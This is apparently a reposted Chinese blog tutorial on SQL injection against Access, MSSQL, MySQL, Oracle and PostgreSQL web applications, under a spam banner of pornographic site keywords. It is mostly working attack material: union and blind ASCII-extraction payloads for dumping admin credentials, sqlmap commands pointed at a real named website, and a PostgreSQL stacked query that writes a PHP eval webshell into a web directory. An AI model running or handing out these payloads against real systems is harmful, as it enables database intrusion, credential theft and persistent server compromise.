日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

發布時間:2025/5/22 数据库 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Web渗透测试(sql注入 access,mssql,mysql,oracle,) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

Access數據庫注入:

?access數據庫由微軟發布的關系型數據庫(小型的),安全性差。

?access數據庫后綴名位*.mdb

?asp中連接字符串應用——

?“Driver={microsoft access driver(*.mdb)};dbq=*.mdb;uid=admin;pwd=pass”

??Dim conn

??Set conn = server.createobject(“adodb.connection”)

??conn.open “provider=Microsoft.ACE.OLEDB.12.0;”?& “data source = ”?& server.mappath(“bbs.mdb”)

?

打開此數據庫的工具——

?破障瀏覽器,輔臣瀏覽器

?

注入分析——

判斷注入點(判斷有沒有帶入查詢)

,

and 1=1

and 1=2

or 1=1

or 1=2

and 1=23

?

查看是否帶入查詢,如果帶入查詢了,說明有注入漏洞

?

存在注入--判斷數據庫類型——

and exsits (select * from msysobjects) >0(判斷access

and exsits (select * from sysobjects) >0(判斷SQL server

?

?

判斷數據庫表

?and exists (select * from admin)(如果不存在admin表,可以試試user或者useradmin

?

?

帶入查詢不報錯說明有admin

?

?

and exists (select admin from admin)查詢是否有admin字段

?

and exists (select password from admin)查詢是否有password字段

?

?

判斷字段長度 order by 22

?

?

報錯 ?and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin(猜解出adminpassword的字段長度)

?

?

and 1=2 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin(這樣就把用戶名密碼猜解出來了,再去md5解密即可)

?

?

?

示例:sqlmap注入access數據庫

?鏈接http://www.jnqtly.cn/cp11.asp?id=1129

root@xxSec:~# sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129

?

?

root@xxSec:~# sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129?--tables(爆表)

?

?

?

file表進行猜解

sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129 --tables --columns -T file

?

?

對字段進行猜解

root@xxSec:~# sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129 --dump -T file -C "admin,password"

?

然后去解密即可

?

?

———————————————————————————————————————

?

MssqlSQL server)數據庫注入:(中小型企業)

SQL server由微軟公司推出的關系型數據庫,支持對稱多處理器的結構 存儲過程,具有自主的sql語言,支持圖形化管理工具。

SQL server數據庫文件后綴位xxx.mdf,日志文件后綴為xxx_log.ldf

基礎語句select * from 表名(查詢)

???????sreate database 庫名(創建)

?????????drop database 庫明(刪除庫)

權限——

??sa權限:數據庫操作,文件管理,命令執行,注冊表讀取等system

??db權限:文件管理,數據庫操作等 users-adminstrators

??public權限:數據庫操作 guest-users

?

調用分析——

??<% set conn =server.crateobiect(“adodb.connection”)

conn.open“provider=sqloledb;source=IP;uid=sa;pwd=xxxxxxxxx;database=xxx”

%>

?

注入語句:

?判斷是否有注入——

and (select Count(*) from [表名])>0(猜解表名)

??and (select Count(字段名) from 表名)>0(猜測字段)

??and (select top 1 len(字段名) from 表名)>0(猜測字段長度)

?

初步判斷是否是mssqlSQL server)——

and user > 0

?

判斷數據庫系統——

and (select count(*) from sysobiects)> 0 mssql

and (select count(*) from msysobiects)> 0 access

?

?

實例:(其實建議手工測試,雖然工具跑得快,但是還是手工可以)

?用穿山甲測試

?

?

可直接寫入一句話木馬

?

?

Sa權限可直接提權

?

?

如果命令不生效可先恢復一下spoa換一下類型

?

—————————————————————————————————————————

?

Mysql數據庫注入:(中小型企業)

??瑞典推出的關系型數據庫,現在已經被甲骨文公司收購,搭配php+apache+mysql

?

Mysql函數——

?systm_user() 系統用戶名

?user() 用戶名

?current_use() 連接數據庫的用戶名

?database() 數據庫名

?version() MySQL數據庫版本

?load_file() 轉成16進制或者是10進制mysql讀取本地文件的函數

?@@datadir 讀取數據庫路徑

?@@basedir 讀取MySQL安裝路徑

?@@version_comoile_os 判斷操作系統

?

PHP+MySQL鏈接——

?<?php

$host=’localhost’; 數據庫地址

$database=’sui’; 數據庫名稱

$user=’root’; 數據庫賬戶

$pass=’’; 數據庫密碼

$webml=’/0/’; 安裝文件夾

?>

?

?判斷字段長度——

??order by xx

??order by 21 正常,order by 22不正常,說明長度為21

??union secect 1-18 from information_schema.tables(報出錯誤)

?

示例:(MySQL5.0以上的版本)

先判斷是否存在注入,and不行試試其他or之類的,然后判斷字段長度

?

?

爆出錯誤23

?

在報錯位置查詢想要的信息

猜解用戶名

http://xxxx.xx.com/xxxxx/php?id=-5union secect ?1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18from information_schema.tables

?

?

?

猜解數據庫名

http://xxxx.xx.com/xxxxx/php?id=-5?union secect 1,database()3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.tables

?

?

猜解表名

http://xxxx.xx.com/xxxxx/php?id=-5union secect 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.tables ?where_schema=0x6469616E(把庫名轉換成16進制)

?

?

爆出表名,爆出來后可以一個一個去嘗試

?

?

?

猜解列名

http://xxxx.xx.com/xxxxx/php?id=-5union secect 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.column where_schema=0x797A36F054846172(把表名轉換成16進制)

?

?

猜解字段

http://xxxx.xx.com/xxxxx/php?id=-5union secect 1,group_concat(username,0x5c,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from yzsoumember(0x5c是一個\16進制)

?

?

爆出管理員賬號密碼

?

?

?

—————————————————————————————————————————

?

?

Oracle數據庫注入:(大型企業,政府,金融,證券)

?Oracle數據庫由美國甲骨文公司推出的,以分布式數據庫為核心,是目前世界上使用最廣范的數據庫管理系統,支持多用戶,事物的處理,移植性強。

?

Oracle數據庫代碼分析——

????id = request.getParameter(“id”);

String strSQL = “select title,content from news where id=”?+ id;

ResultSet rs = strt.executeQuery(strSQL);

while(rs.next())

{

String title = rs.getString(“time”);

String content = rs.getString(“conntent”);

Out.print(“<tr><td>”+ title +”<td><tr><tr><td><br/>”?+ content + “</td></tr>”);

}

?

?

?

示例:

猜解表名,存在則不報錯and (select count(*) from admin)<>0

?

?

猜解user列名,存在則不報錯and (select count(user) from admin)<>0

?

?

猜解pwd列名,存在則不報錯and (select count(pwd) from admin)<>0

?

?

判斷長度and (select count(*) from admin where length(name)>=5)=1length()函數用于字符串長度,此處猜測用戶名長度和5比較,意思就是猜測是否由5個字符組成)

?

?

猜解第一個位and (select count(*) from admin where length(name)>=5)=1 ?and (select count(*) from admin where ascii(substr(name,1,1))>=97)=1substr()函數用于截取字符串,ascii()函數用于獲取字符的ascii碼,此處的意思是截取name字段的第一個字符,獲取它的ascii碼值,查詢ascii碼表可知97為字符a

?

猜解第二位and (select count(*) from admin where length(name)>=5)=1 and (select count(*) from admin where ascii(substr(name,2,1))>=100)=1(重復以上操作,去配對ascii碼表,可以判斷賬號為admin

?

?

相同方式猜解密碼;and (select count(*) from admin where length(pwd)>=8)=1 返回正常,密碼長度為8

?

?

?

?猜解第一位and (select count(*) from admin where length(name)>=5)=1 ?and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1(返回正常,字符為a

?

?

?猜解第一位and (select count(*) from admin where length(name)>=5)=1 ?and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1(返回正常,字符為a(重復以上操作,去配對ascii碼表,可以判斷賬號為admin888

?

?

?

?ascii

?

?

測試登陸

?

———————————————————————————————————————

?

Postgresql注入:(國內用的比較少

?
?

示例:

http://www.xxx.jp/xxx/xx/php?id=307?and 1=cast(version() as int)(獲取數據庫版本信息,系統信息)

?

?

http://www.xxx.jp/xxx/xx/php?id=307?and 1=cast(user||123 as int)(獲取當前用戶名稱,Postgres用戶相當于root用戶權限)

?

?

?http://www.xxx.jp/xxx/xx/php?id=307?;create table xxx(w text not null);(創建表x

?

?

插馬——

??http://www.xxx.jp/xxx/xx/php?id=307;insert into xxx values($$<?php @eval($_POST[xxxxx]);?>$$);(向x表中插入一句話木馬)

?

?

寫文件——

??http://www.xxx.jp/xxx/xx/php?id=307;copy xxx(w) to$$/home/kasugai_tochi/public_html/script/xxx.php$$;(將一句話木馬保存為xxx.php文件,執行后用菜刀鏈接,然后上傳webshll

?

?——————————————————————————————————————————————————

?

提交方式注入:

?Get——

??get注入比較常見,如www.xxx.com/xx.asp?id=1

?

?Post——

??post提交方式主要適用于表單的提交,用于登錄框的注入,如www.xxx.com/admin.php

?

?判斷方式——

??在登陸框鍵入 ‘or’=1 ?

示例:(穿山甲跑)

加載表單

?

?

把后臺地粘貼上,開始跑

?

?

加載表單

?

?

它會默認把表單提交到根路勁,需要把它改成登陸路勁

?

?

?

Sqlmap跑——

示例:

加上根目錄路徑,然后在往下操作

sqlmap -u http://www.xxxx.com/login.asp?--data “xxxxxxx=1”?--dbs

sqlmap -u http://www.xxxx.com/login.asp?--data “xxxxxxx=1”?--tables -D “列名

sqlmap -u http://www.xxxx.com/login.asp?--data “xxxxxxx=1”?--columns -T “表名”?-D “列名

sqlmap -u http://www.xxxx.com/login.asp?--data “xxxxxxx=1”?--dump ?-C “user,pass”?-T “表名”?-D “列名

?

Cookie——

cookie提交用于賬號密碼的cookie緩存,還可以通過cookie注入來突破簡單的防注入系統

?示例:

?

?

?

———————————————————————————————————————

?

搜索框注入:

?使用的工具——burpsuitesqlmap

?思路——先使用burp抓搜索包,把抓到的包保存到xx.txt文件里,然后用sqlmap

?

?示例:sqlmap -r xx.txt --tables(猜表名)

???????sqlmap -r xx.txt --columns -T “admin”(猜列名)

???????sqlmap -r xx.txt --C “admin,password”?-T “manager”?--dump -v 2(列內容)

?

找到搜索框

?

?抓包

?

再跑sqlmap

?

————————————————————————————————————————————————

?

偽靜態注入:

??網站管理員耍小聰明,看著是靜態頁面,其實是動態頁面

??http://www.xxx.com/xxxx/xxx/xxx.html

?

判斷——

?http://www.xxx.com/index.php?返回正常說明是php寫的 ?(index.aspindex.jsp)

?

示例——

http://www.xxxx.cn/xxx_99,html(把偽靜態鏈接構造成動態腳本語言)

http://www.xxxx.cn/xx.php?id=99?asp?id= ??jsp?id= ?aspx?id= ?不報錯說明就是此語言)

?

轉載于:https://www.cnblogs.com/Hydraxx/p/8516689.html

總結

以上是生活随笔為你收集整理的Web渗透测试(sql注入 access,mssql,mysql,oracle,)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。